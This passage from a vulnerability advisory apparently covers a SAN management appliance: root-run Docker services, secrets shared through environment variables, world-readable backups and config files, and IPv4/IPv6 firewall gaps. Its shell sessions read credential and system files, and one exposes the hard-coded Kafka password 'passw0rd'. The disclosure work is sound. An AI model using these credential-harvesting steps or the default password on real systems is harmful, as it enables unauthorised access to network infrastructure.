root     4160506  0.8  1.7 2659584 851636 ?      Sl   Mar31 1658:46 java -Xms256m -Xmx512m -XX:MaxMetaspaceSize=128m -Dmanagement.security.enabled=false -XX:+ExitOnOutOfMemoryError -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dcm1.0.0/logs/troubleshooting-web.hprof -XX:+AlwaysPreTouch -XX:+UseG1GC -XX:+ScavengeBeforeFullGC -XX:+DisableExplicitGC -XX:+PrintGC -XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+PrintGCDateStamps -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=3 -XX:GCLogFileSize=100M -Xloggc:/dcm1.0.0/logs/troubleshooting-web-2022-03-31_19-53-06-gc.log -XX:ErrorFile=/dcm1.0.0/logs/javaerror/troubleshooting-web-hs_err.log -Dlogging.config=/dcm1.0.0/conf/logback/dcm-logback.xml -jar /dcm1.0.0/troubleshooting-service-1.0.0.jar --server.port=8094
</code></pre>
<p>In the appliance, the majority of programs run as root, as shown below:</p>
<pre><code>[root@sannav-portal-v211 ~]# ps -auxww|grep -v '\]$'|awk '{ print $1 }' | grep -v root | wc -l
85
[root@sannav-portal-v211 ~]# ps -auxww|grep -v '\]$'|awk '{ print $1 }' | grep root | wc -l
147
[root@sannav-portal-v211 ~]# ps -auxww | grep java|grep root|wc -l
34
</code></pre>
<p>147 programs run as root, including 34 Java processes.</p>
<p>We can confirm that the Java processes run as root inside Docker instances:</p>
<pre><code>[root@sannav-portal-v211 ssh]# for i in $(docker ps | awk '{ print $1 }'); do echo $i;docker exec -it $i bash -c 'ps -a';echo;done
b81a84ad73f4
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh /dcm1.0.0/wait-for-spring-service.sh
   11 root     18h46 java -Xms512m -Xmx512m -XX:MaxMetaspaceSize=256m -Dmanagem
345336root      0:00 ps -a
[...]
6d72af69c4b1
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh /dcm1.0.0/wait-for-spring-service.sh
  869 root      1d06 java -Xms512m -Xmx1024m -XX:MaxMetaspaceSize=256m -Dmanage
411632root      0:00 ps -a

bdf543f123c9
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh /dcm1.0.0/wait-for-spring-service.sh
  869 root      1d04 java -Xms512m -Xmx1024m -XX:MaxMetaspaceSize=128m -Dmanage
381403root      0:00 ps -a

675c364f5167
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh /dcm1.0.0/wait-for-spring-service.sh
  869 root      1d03 java -Xms256m -Xmx512m -XX:MaxMetaspaceSize=128m -Dmanagem
398478root      0:00 ps -a

871cc736d56d
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh /dcm1.0.0/wait-for-spring-service.sh
  873 root     20h06 java -Xms256m -Xmx768m -XX:MaxMetaspaceSize=128m -Dmanagem
1346862 root      0:00 ps &lt;96&gt;a
[...]
</code></pre>
<p>There are also no firewall rules inside the Docker network, allowing any Docker instance to reach any Docker instance - the daemon listens on the main IPs addresses of the appliance (external IP: 10.13.3.7, 192.168.255.245 and 192.168.255.241).</p>
<p>There is a cAdvisor Docker instance freely reachable on port 18080 inside the Docker LAN listening on the WAN IP of the device:</p>
<p><img alt="" src="images/2024-sannav-cadvisor.png" /></p>
<p>The passwords are also shared between all the Docker instances using the environment variables as shown below:</p>
<pre><code>[root@sannav-portal-v211 ~]# for i in $(docker ps | awk '{ print $1 }'); do echo password-$i;docker exec -it $i env;done | grep 'security.pbe.key\|password'
password-b81a84ad73f4
dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
security.pbe.key=[REDACTED-HASHED-PASSWORD]
password-67f747dafd14

password-cc9c3b6ec2d9
dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
security.pbe.key=[REDACTED-HASHED-PASSWORD]

password-99ee9d76a50a
dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
security.pbe.key=[REDACTED-HASHED-PASSWORD]

password-f90d98e286ae
dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
security.pbe.key=[REDACTED-HASHED-PASSWORD]

password-44ab73ba64b7
dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
security.pbe.key=[REDACTED-HASHED-PASSWORD]

password-f41e098298c0
dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
security.pbe.key=[REDACTED-HASHED-PASSWORD]
[...]
</code></pre>
<p>These 32 Docker instances (on a total of 40) have access to these sensitive secrets. They also run root-owned java processes exposed on the network:</p>
<ul>
<li>dcm_2_1_1_flow-management-mw.1.jadot7kerrt6ywappso7khj86</li>
<li>dcm_2_1_1_schema-registry.1.jx0buz3bklbz0k6esjr0xo9nm</li>
<li>dcm_2_1_1_ignite-grid-node1.1.2je999qa8oemxtw6vq25be8zo</li>
<li>dcm_2_1_1_faultmanagement-collector.1.mg7typw8ef0ph69itrahoes0m</li>
<li>dcm_2_1_1_externalapi-middleware.1.loovm2l8nx5y31mbuj5609u7r</li>
<li>dcm_2_1_1_filetransfer.1.uh461uxa4oa6fgrt1rsz1hac5</li>
<li>dcm_2_1_1_collections-middleware.1.sg938jedpz5ca3n0c5pp0ynhi</li>
<li>dcm_2_1_1_asyncjobscheduler-manager.1.v9bqrdh28ohchqpxmmwttejsd</li>
<li>dcm_2_1_1_dcm-wso2.1.0qs30j6381rjhdwnlbcbthe12</li>
<li>dcm_2_1_1_cfgmgmt-policy-middleware.1.q2d4eh0y3to2gc4req6wpw98j</li>
<li>dcm_2_1_1_dashboard-middleware.1.0xas72iwheca6ix3axzeymqm1</li>
<li>dcm_2_1_1_troubleshooting.1.tpipiw85xeojvc0syotzwabrs</li>
<li>dcm_2_1_1_performancemanagement-statscollector.1.0bgfuh1nq4j7bib7fk6jwuvlj</li>
<li>dcm_2_1_1_performancemanagement-middleware.1.m6wzmc73pgg26gwuhmpg1l74x</li>
<li>dcm_2_1_1_asyncjobscheduler-worker.1.u74e1dapsggi7tvl6cost8fgs</li>
<li>dcm_2_1_1_switch-filetransfer-mw.1.ausaed37uog9jnzyxsrxgkmuo</li>
<li>dcm_2_1_1_authentication-rbac-middleware.1.d19zdz97oeaexukqqdo762vsp</li>
<li>dcm_2_1_1_ignite-grid-object-manager-node.1.knfke4xd2rutww916akawx0x4</li>
<li>dcm_2_1_1_switch-asset-collectors-mw.1.38bqty706b9lvkbmn9ioegzkb</li>
<li>dcm_2_1_1_dashboard-summaryprovider.1.u8uha7mufvmfphnwmanrzthgv</li>
<li>dcm_2_1_1_filters-contextsearch-middleware.1.tziel666fllkwfj1trxky958y</li>
<li>dcm_2_1_1_performancemanagement-datastore.1.qjfrhpjgsv8wfebsx29c2jg6b</li>
<li>dcm_2_1_1_faultmanagement-backend.1.ke6t2o5dtv1ieg41xw28r4q82</li>
<li>dcm_2_1_1_g-agent.1.vaegzwy7vgmq7h0njq66fpso6</li>
<li>dcm_2_1_1_topology-middleware.1.tm0jcogi1oir1ufhy91m1pqqu</li>
<li>dcm_2_1_1_supportsave-mw.1.8k4nf2oed3rlmn00vk2c6udmp</li>
<li>dcm_2_1_1_fe-consolidated-2.1.ok1xeb9agbpjmkv1kes43cxdq</li>
<li>dcm_2_1_1_fe-consolidated-1.1.cwc8pmrcwob0sivongcnw8o8m</li>
<li>dcm_2_1_1_system-monitor.1.g6x4tf6jqfalrf0khluopbxdy</li>
<li>dcm_2_1_1_reportgenerator.1.43z628e4fvtyahtd4c7q5l12l</li>
<li>dcm_2_1_1_elasticsearch.1.ie8a9gs8j7k5vpp7l872epobe</li>
<li>dcm_2_1_1_prometheus.1.yttg8cg3hjfprrvuevbnwmkb4</li>
</ul>
<p><a id="insecure-backup-process"></a></p>
<h2>Details - Insecure Backup process</h2>
<p>It is possible to backup the appliance from the web interface or the command line interface.
Using the web interface, you can visit https://10.13.3.7/#/settings/serverOption/backup to generate backups:</p>
<p><img alt="" src="images/2024-sannav-backup.png" /></p>
<p>The resulting backups are world-readable:</p>
<pre><code>[root@sannav-portal-v211 tmp]# ps -auxww|grep env
root     2569378  0.3  0.0  41032 24660 ?        Sl   06:53   0:00 docker run -i --rm --entrypoint /usr/bin/env --name createzip_1659696814521932635 --mount type=bind,source=/tmp/,target=/SANnav-backup --mount type=bind,source=/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/backuprestore/temp-dir-08-05-2022-06-52-42/dcm-ondemand-backup-08-05-2022-06-52-42/..,target=/SANnav-src -w /SANnav-src --network=host localhost:5000/mw-backuprestore:sann2.1.1 /bin/sh -c tar -cf - dcm-ondemand-backup-08-05-2022-06-52-42 | pv -L 10M | gzip &gt; /SANnav-backup/dcm-ondemand-backup-08-05-2022-06-52-42.tar.gz
root     2569617  0.0  0.0  12108   972 pts/0    S+   06:53   0:00 grep --color=auto env
[root@sannav-portal-v211 tmp]# ls -la /tmp
total 10768
drwxrwxrwt.  3 root root      139 Aug  5 06:53 .
dr-xr-xr-x. 18 root root      272 Jul 22  2020 ..
-rw-r--r--.  1 root root 11024588 Aug  5 06:54 dcm-ondemand-backup-08-05-2022-06-52-42.tar.gz
drwx------.  3 root root       17 Jan 1   2022 systemd-private-48490dcef7da46999ff932da82ed39b3-chronyd.service-RVYrMk
[root@sannav-portal-v211 nginx]# ls -latrZ /tmp/
total 10776
dr-xr-xr-x. 18 root root system_u:object_r:root_t:s0      272 Jul 22  2020 ..
drwx------.  3 root root system_u:object_r:tmp_t:s0        17 Jan 1   2022 systemd-private-48490dcef7da46999ff932da82ed39b3-chronyd.service-RVYrMk
-rw-r--r--.  1 root root system_u:object_r:tmp_t:s0  11032670 Aug  5 09:27 dcm-ondemand-backup-08-05-2022-09-26-14.tar.gz
drwxrwxrwt.  3 root root system_u:object_r:tmp_t:s0       139 Aug  5 09:28 .
[root@sannav-portal-v211 nginx]#
</code></pre>
<p>The backup file is a tarball that contains several configuration files.</p>
<p>We can find passwords in these files:</p>
<pre><code>kali% grep -I password
./core/compose/server_properties.env:# Password based encryption key
./core/compose/server_properties.env:kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
grep: ./core/esdump/indices/rsvxVZxPR9mXwMqEMT3Qtw/0/__LCoV6fj9RFqBAhx-ptzMnA: binary file matches
grep: ./core/esdump/indices/rsvxVZxPR9mXwMqEMT3Qtw/0/__aJtsmwiUSE2NgFzuKRlnyw: binary file matches
grep: ./core/pgdump/toc.dat: binary file matches
./core/conf/postgres/postgresql.conf:#password_encryption = on
./core/conf/postgres/database.properties:# Default password used when creating a new database connection
./core/conf/postgres/database.properties:database.password=[REDACTED-HASHED-PASSWORD]
./core/conf/server.properties:# Password based encryption key
./core/conf/server.properties:#WSO2 encrypted Password
./core/conf/server.properties:dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
./core/conf/server.properties:# Default SFTP/SCP password
./core/conf/server.properties:dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
./core/conf/server.properties:kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
</code></pre>
<p>The core/pgdump directory contains the entire Postgres database with the admin users and the configuration of the switches:</p>
<pre><code>kali% zcat core/pgdump/*|grep -I admin
[...]
3       1       \N      161     3       5       v3                      [REDACTED-CLEAR-TEXT-SNMPv3-PASSWORD]      \N      - None -                - None -                0
6       8       \N      161     3       5       v3                      [REDACTED-CLEAR-TEXT-SNMPv3-PASSWORD]      \N      - None -                - None -                0
[...]
1       admin2   Admin                   admin2   [REDACTED-HASHED-PASSWORD] 0               0       2022-01-01 00:00:01 1       0       0       2022-01-01 00:00:01-04     2022-01-01 00:00:0-05
[...]
3       admin                                   [REDACTED-HASHED-PASSWORD]           0               2       2022-01-01 00:00:01 1       0       0       2022-01-01 00:00:01-04      2022-01-01 00:00:01-04
1       85b557e6-3876-4e22-90c1-360f7916c975    \N      SWITCH    10:00:88:[REDACTED] -1      12      0       0       Subordinate     None    1     0
        HEALTHY 1045274 2022-01-01 00:00:01 2022-01-01 00:00:01 admin   [REDACTED-HASHED-PASSWORD]   0       Online  1       Switch Status is HEALTHY. Contributors: \N      \N      \N    1
        0       0       0       0       0       0       0       0       1       41739   0       1       0       0       0       2022-01-01 00:00:01 0     96       HEALTHY 0       0       48      1487489237423   0       0       0       0       Online  2
[...]
</code></pre>
<p>An attacker with a local access to the appliance can recover backup files.</p>
<p>These backup files can be restored into a new malicious appliance - the attacker will then be able to do an air-gapped analysis by sniffing the network interface of the malicious appliance and retrieve the passwords of all the switches. Reverse engineering of the custom encryption mechanism is also possible to retrieve the passwords.</p>
<p><a id="inconsistency-in-firewall-rules"></a></p>
<h2>Details - Inconsistency in firewall rules</h2>
<p>The appliance has firewall rules for IPv4 and IPv6 connectivities. We can extract these firewall rules using the tools iptables-save for IPv4 and ip6tables-save for IPv6. For example, for IPv4:</p>
<pre><code>[root@sannav-portal-v211 tmp]# iptables-save
-# Generated by iptables-save v1.8.4 on Fri Aug  5 06:15:11 2022
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [205949864:38460044561]
:INPUT_direct - [0:0]
:INPUT_ZONES_SOURCE - [0:0]
:INPUT_ZONES - [0:0]
:FORWARD_direct - [0:0]
:FORWARD_IN_ZONES_SOURCE - [0:0]
:FORWARD_IN_ZONES - [0:0]
:FORWARD_OUT_ZONES_SOURCE - [0:0]
[...]
</code></pre>
<p>When comparing the firewall rules used for IPv4 and IPv6 connectivities, we can detect several inconsistencies:</p>
<ul>
<li>A specific rule in IPv6, that does not exist in IPv4, accepts any UDP packet to the port 546  from the link-local IPv6 addresses:</li>
</ul>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>-A IN_public_allow -d fe80::/64 -p udp -m udp --dport <span style="color: #666666">546</span> -m conntrack --ctstate NEW,UNTRACKED -j ACCEPT
</pre></div>

<ul>
<li>Specific TCP port ranges are dropped in IPv4 - these 2 rules do not exist in IPv6 and the packets are then not dropped:</li>
</ul>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>-A SANNAV-CHAIN -i ens192 -p tcp -m multiport --dports <span style="color: #666666">47100</span>:47125 -j DROP
-A SANNAV-CHAIN -i ens192 -p tcp -m multiport --dports <span style="color: #666666">10800</span>:10825 -j DROP
</pre></div>

<ul>
<li>RPfilter is configured in IPv6 but is not defined in IPv4:</li>
</ul>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>-A PREROUTING -m rpfilter --invert -j DROP
</pre></div>

<p>Interestingly, the IPv6 connectivity seems to be disabled in the <code>/etc/sysctl.d/99-sysctl.conf</code> file:</p>
<pre><code>[root@sannav-portal-v211 ~]# cat /etc/sysctl.d/99-sysctl.conf
# sysctl settings are defined through files in
# /usr/lib/sysctl.d/, /run/sysctl.d/, and /etc/sysctl.d/.
#
# Vendors settings live in /usr/lib/sysctl.d/.
# To override a whole file, create a new file with the same in
# /etc/sysctl.d/ and put new settings there. To override
# only specific settings, add a file with a lexically later
# name in /etc/sysctl.d/ and put new settings there.
#
# For more information, see sysctl.conf(5) and sysctl.d(5).
# ~~~~ IPV6 Related Configuration ~~~~
net.ipv6.conf.all.disable_ipv6=1
net.ipv6.conf.default.disable_ipv6=1
net.ipv6.conf.all.autoconf=0
net.ipv6.conf.default.autoconf=0
net.ipv6.conf.default.accept_ra=0
net.ipv6.conf.all.accept_ra=0
net.ipv6.conf.ens192.accept_ra=0
net.ipv6.conf.docker0.accept_ra=0
net.ipv6.conf.docker_gwbridge.accept_ra=0
</code></pre>
<p>When reviewing the installation log file at <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/install-sannav-*.log</code>, we can confirm IPv6 can be enabled or disabled during the installation:</p>
<pre><code>156 # The below properties are for IP stack preference
157 # Preferred stack is IPV4
158 java.net.preferIPv4Stack=true
159 # Preferred stack is IPV6
160 java.net.preferIPv6Addresses=false
161 # Check if user has chosen the IPV6 installation
162 dcm.ipv6.capable=false
163 ipv6.enabled=false
</code></pre>
<p>Inconsistencies in firewall rules can be exploited by an attacker to get access to an expanded attack surface using IPv6. It is common to have secure IPv4 rules and laxist IPv6 rules.</p>
<p>IPv6 can be configured by the user during the installation phase. This presents a risk because of the inconsistencies in firewall rules.</p>
<p><a id="insecure-file-permissions"></a></p>
<h2>Details - Insecure file permissions</h2>
<p>It was observed that insecure permissions are used for files containing passwords and logs.</p>
<p>An attacker with a local shell can extract passwords and compromise the appliance.</p>
<p>It is possible to extract the RADIUS configuration as any user (e.g. nobody). The file <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/security/auth.properties</code> is world-readable:</p>
<pre><code>bash-4.4$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.4$ cd /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/security
bash-4.4$ ls -la 
total 32
drwxrwxr-x+  2 sannav sannav 4096 Aug 10 05:56 .
drwxrwxr-x+ 21 sannav sannav 4096 Jan  1  2022 ..       
-rwxr-xr-x+  1 sannav sannav 2562 Dec 12  2020 auth.properties
-rw-rw-r--+  1 root   root    656 Mar  6 21:23 server.zip
bash-4.4$ cat auth.properties 
[...]
# RADIUS Authentication
auth.radius.switchtosecondauth = RADIUS Servers Not Reachable

auth.radius.server.1.ip = [REDACTED]
auth.radius.server.1.port = [REDACTED]
auth.radius.server.1.authtype = [REDACTED]
auth.radius.server.1.secret = [REDACTED-PASSWORD]
auth.radius.server.1.timeout = [REDACTED]
auth.radius.server.1.retries = [REDACTED]

auth.radius.server.2.ip = [REDACTED]
[...]
</code></pre>
<p>The directory <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf</code> also contains sensitive files. By default, everything is world-readable and no SELinux policy is defined:</p>
<pre><code>bash-4.4$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.4$ cd /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf
bash-4.4$ ls -la
total 532
drwxrwxr-x+ 21 sannav sannav   4096 Jan  1  2022 .
drwxrwxr-x+ 22 sannav sannav   4096 Dec 15  2020 ..
-rwxr-xr-x+  1 sannav sannav    915 Dec 12  2020 application.properties
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 backuprestore
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 cfgmgmt
drwxrwxr-x+  2 sannav sannav   4096 Jan  1  2022 elasticsearch
drwxrwxr-x+  3 sannav sannav   4096 Dec 15  2020 EULA
-rwxr-xr-x+  1 sannav sannav  16022 Dec 12  2020 EULA.txt
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 global
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 jre
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 kafka
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 logback
drwxrwxr-x+  2 sannav sannav   4096 Jan  1  2022 mibs
drwxrwxr-x+  4 sannav sannav   4096 Dec 15  2020 migrate
drwxrwxr-x+  3 sannav sannav   4096 Dec 15  2020 nbstreaming
drwxrwxr-x+  2 sannav sannav   4096 Jan  1  2022 nginx
-rwxr-xr-x+  1 sannav sannav    991 Dec 12  2020 openssl.conf
-rw-rw-r--+  1 sannav sannav  22817 Jan  1  2022 os-details.txt
drwxrwxr-x+  2 sannav sannav   4096 Jan  1  2022 postgres
drwxrwxr-x+  2 sannav sannav   4096 Jan  1  2022 prometheus
drwxrwxr-x+  3 sannav sannav   4096 Dec 15  2020 reportgenerator
-rwxr-xr-x+  1 sannav sannav 211016 Dec 12  2020 sannav-oss-attribution.txt
drwxrwxr-x+  2 sannav sannav   4096 Aug 10 05:56 security
-rw-rw-r--+  1 sannav sannav  10117 Mar  6 21:23 server.properties
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 supportsave
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 trapconfig
-rwxr-xr-x+  1 sannav sannav   2965 Dec 12  2020 trapConfigurationDefaultMapping.xml
-rwxr-xr-x+  1 sannav sannav  12264 Dec 12  2020 trapConfigurationDefault.xml
-rwxr-xr-x+  1 sannav sannav    839 Mar  6 21:23 version.properties
drwxrwxr-x+  2 sannav sannav   4096 Dec 15  2020 wso2
-rwxr-xr-x+  1 sannav sannav  33260 Dec 12  2020 wso2carbon.jks
bash-4.4$ ls -lZ
total 516
-rwxr-xr-x+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0    915 Dec 12  2020 application.properties
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 backuprestore
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 cfgmgmt
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Jan  1  2022 elasticsearch
drwxrwxr-x+ 3 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 EULA
-rwxr-xr-x+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0  16022 Dec 12  2020 EULA.txt
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 global
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 jre
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 kafka
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 logback
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Jan  1  2022 mibs
drwxrwxr-x+ 4 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 migrate
drwxrwxr-x+ 3 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 nbstreaming
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Jan  1  2022 nginx
-rwxr-xr-x+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0    991 Dec 12  2020 openssl.conf
-rw-rw-r--+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0  22817 Jan  1  2022 os-details.txt
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Jan  1  2022 postgres
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Jan  1  2022 prometheus
drwxrwxr-x+ 3 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 reportgenerator
-rwxr-xr-x+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0 211016 Dec 12  2020 sannav-oss-attribution.txt
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Aug 10 05:56 security
-rw-rw-r--+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0  10117 Mar  6 21:23 server.properties
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 supportsave
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 trapconfig
-rwxr-xr-x+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0   2965 Dec 12  2020 trapConfigurationDefaultMapping.xml
-rwxr-xr-x+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0  12264 Dec 12  2020 trapConfigurationDefault.xml
-rwxr-xr-x+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0    839 Mar  6 21:23 version.properties
drwxrwxr-x+ 2 sannav sannav unconfined_u:object_r:unlabeled_t:s0   4096 Dec 15  2020 wso2
-rwxr-xr-x+ 1 sannav sannav unconfined_u:object_r:unlabeled_t:s0  33260 Dec 12  2020 wso2carbon.jks
bash-4.4$
</code></pre>
<p>Retrieving encrypted passwords from <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/server.properties</code> as <code>nobody</code>:</p>
<pre><code>bash-4.4$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.4$ grep -i pass server.properties
# Password based encryption key
#WSO2 encrypted Password
dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
# Default SFTP/SCP password
dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
bash-4.4$ grep key server.properties
# Password based encryption key 
security.pbe.key=[REDACTED-HASHED-PASSWORD]
# SSL Certificate key file name
ssl.certificate.key=https_key.pem
kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
bash-4.4$
</code></pre>
<p>Other files containing passwords in the Kafka Docker instance:</p>
<pre><code>root@sannav-portal-v211:/etc/kafka/secrets# pwd
/etc/kafka/secrets
root@sannav-portal-v211:/etc/kafka/secrets# ls -la
total 36
drwxrwxrwx. 2 root root 4096 Mar 31 23:42 .
drwxrwxrwx. 1 root root 4096 Mar 31 23:42 ..
-r--r--r--. 1 root root 1194 Mar 31 23:42 kafka.truststore.jks
-r--r--r--. 1 root root    8 Mar 31 23:42 keystore_creds
-r--r--r--. 1 root root 4751 Mar 31 23:42 sannav-portal-v211_keystore.jks
-r--r--r--. 1 root root    8 Mar 31 23:42 sslkey_creds
-r--r--r--. 1 root root    8 Mar 31 23:42 truststore_creds
root@sannav-portal-v211:/etc/kafka/secrets# ls -Z
system_u:object_r:tmpfs_t:s0 kafka.truststore.jks  system_u:object_r:tmpfs_t:s0 sannav-portal-v211_keystore.jks  system_u:object_r:tmpfs_t:s0 truststore_creds
system_u:object_r:tmpfs_t:s0 keystore_creds        system_u:object_r:tmpfs_t:s0 sslkey_creds
root@sannav-portal-v211:/etc/kafka/secrets# ls -laZ
total 36
drwxrwxrwx. 2 root root system_u:object_r:unlabeled_t:s0 4096 Mar 31 23:42 .
drwxrwxrwx. 1 root root system_u:object_r:unlabeled_t:s0 4096 Mar 31 23:42 ..
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0     1194 Mar 31 23:42 kafka.truststore.jks
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0        8 Mar 31 23:42 keystore_creds
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0     4751 Mar 31 23:42 sannav-portal-v211_keystore.jks
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0        8 Mar 31 23:42 sslkey_creds
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0        8 Mar 31 23:42 truststore_creds
root@sannav-portal-v211:/etc/kafka/secrets# cat keystore_creds ; echo
passw0rd
root@sannav-portal-v211:/etc/kafka/secrets# cat sslkey_creds ; echo
passw0rd
root@sannav-portal-v211:/etc/kafka/secrets# cat truststore_creds ; echo
passw0rd
root@sannav-portal-v211:/etc/kafka/secrets# cat /etc/kafka/kafka.properties
inter.broker.listener.name=PLAINTEXT
ssl.key.password=passw0rd
ssl.keystore.password=passw0rd
advertised.listeners=PLAINTEXT://10.13.3.7:19093,EXTERNAL_SSL://10.13.3.7:19094
ssl.keystore.location=/etc/kafka/secrets/sannav-portal-v211_keystore.jks
ssl.keystore.filename=sannav-portal-v211_keystore.jks
advertised.host.name=10.13.3.7
zookeeper.connect=10.13.3.7:12181
num.partitions=16
ssl.truststore.credentials=truststore_creds
ssl.keystore.credentials=keystore_creds
ssl.enabled.protocols=TLSv1.2
zookeeper.connection.timeout.ms=15000
log.retention.minutes=30
zookeeper.session.timeout.ms=15000
broker.id=1
ssl.key.credentials=sslkey_creds
offsets.topic.replication.factor=1
ssl.truststore.type=JKS
listener.security.protocol.map=PLAINTEXT:PLAINTEXT,EXTERNAL_PLAINTEXT:PLAINTEXT,EXTERNAL_SSL:SSL
ssl.keystore.type=JKS
log.dirs=/var/lib/kafka/data
ssl.truststore.filename=kafka.truststore.jks
listeners=PLAINTEXT://0.0.0.0:19093,EXTERNAL_SSL://0.0.0.0:19094
root@sannav-portal-v211:/etc/kafka/secrets#
</code></pre>
<p>Please note that the <code>passw0rd</code> passwords defined in the Kafka configuration files are not listed in CVE-2020-15382. It appears to be a new vulnerability.</p>
<p>The file <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/compose/server_properties.env</code> is also world-readable and contains passwords.</p>
<p>Using the <code>nobody</code> user to read <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/compose/server_properties.env</code>:</p>
<pre><code>[root@sannav-portal-v211 compose]# sudo -u nobody bash
bash-4.4$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.4$ cat server_properties.env 
[...]
      1 #########################################################################################################################
      2 ### DCM Server properties       DCM Server properties     DCM Server properties                                      ####
